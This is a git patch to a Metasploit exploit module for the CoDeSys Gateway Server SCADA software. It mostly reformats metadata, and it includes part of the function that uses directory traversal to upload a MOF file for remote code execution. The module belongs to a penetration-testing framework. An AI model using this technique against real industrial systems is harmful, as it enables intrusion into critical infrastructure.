From 16d7b625bc6da6d27f9e68837aebdaf77a81576b Mon Sep 17 00:00:00 2001
From: sinn3r <msfsinn3r@gmail.com>
Date: Wed, 6 Mar 2013 16:31:39 -0600
Subject: [PATCH] Format cleanup

---
 ...codesys_gateway_server_remote_execution.rb | 54 ++++++++++---------
 1 file changed, 28 insertions(+), 26 deletions(-)

diff --git a/modules/exploits/windows/scada/codesys_gateway_server_remote_execution.rb b/modules/exploits/windows/scada/codesys_gateway_server_remote_execution.rb
index d728af5ba3..1a285839d6 100644
--- a/modules/exploits/windows/scada/codesys_gateway_server_remote_execution.rb
+++ b/modules/exploits/windows/scada/codesys_gateway_server_remote_execution.rb
@@ -4,10 +4,12 @@
 # web site for more information on licensing and terms of use.
 #   http://metasploit.com
 ##
-require 'msf/core'
-class Metasploit3 < Msf::Exploit::Remote
 
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
 	Rank = ExcellentRanking
+
 	include Msf::Exploit::EXE
 	include Msf::Exploit::FileDropper
 	include Msf::Exploit::Remote::Tcp
@@ -15,27 +17,28 @@ class Metasploit3 < Msf::Exploit::Remote
 
 	def initialize(info = {})
 		super(update_info(info,
-						'Name' => 'SCADA 3S CoDeSys Gateway Server Remote Execution',
-						'Description' => %q{
-						This module exploits arbitrary file creation to execute a mof file
-						gaining remote execution within the SCADA system
-						},
-						'Author' =>
-							[
-								'Enrique Sanchez <esanchez@accuvant.com>'
-							],
-						'License' => 'MSF_LICENSE',
-						'References' =>
-							[
-								['ICSA-13-050-01', '02-19-2013']
-							],
-						'DisclosureDate' => 'Feb 02 2013',
-						'Platform' => 'win',
-						'Targets' =>
-							[
-								['Windows Universal S3 CoDeSyS < 2.3.9.27', { }]
-							],
-						'DefaultTarget' => 0))
+			'Name'           => 'SCADA 3S CoDeSys Gateway Server Directory Traversal',
+			'Description'    => %q{
+				This module exploits arbitrary file creation to execute a mof file
+				gaining remote execution within the SCADA system
+			},
+			'Author'         =>
+				[
+					'Enrique Sanchez <esanchez[at]accuvant.com>'
+				],
+			'License'        => 'MSF_LICENSE',
+			'References'     =>
+				[
+					['CVE', '2012-4705'],
+					['URL', 'http://ics-cert.us-cert.gov/pdf/ICSA-13-050-01-a.pdf']
+				],
+			'DisclosureDate' => 'Feb 02 2013',
+			'Platform'       => 'win',
+			'Targets'        =>
+				[
+					['Windows Universal S3 CoDeSyS < 2.3.9.27', { }]
+				],
+			'DefaultTarget' => 0))
 
 		register_options(
 			[
@@ -53,16 +56,15 @@ class Metasploit3 < Msf::Exploit::Remote
 	# remote_filepath: Remote filepath where the file will be uploaded
 	# remote_filename: Remote name of the file to be executed ie. boot.ini
 	# local_file: File containing the read data for the local file to be uploaded, actual open/read/close done in exploit()
-
 	def upload_file(remote_filepath, remote_filename, local_filedata = null)
 		magic_code = "\xdd\xdd"
 		opcode = [6].pack('L')
 
 		# We create the filepath for the upload, for execution it should be \windows\system32\wbem\mof\<file with extension mof!
 		file = "..\\..\\" << remote_filepath << remote_filename << "\x00"
-		print_debug("File to upload: #{file}")
+		#print_debug("File to upload: #{file}")
 		pkt_size = local_filedata.size() + file.size() + (0x108 - file.size()) + 4
-		print_debug(pkt_size)
+		#print_debug(pkt_size)
 
 		# Magic_code  + packing + size
 		pkt = magic_code << "AAAAAAAAAAAA" << [pkt_size].pack('L')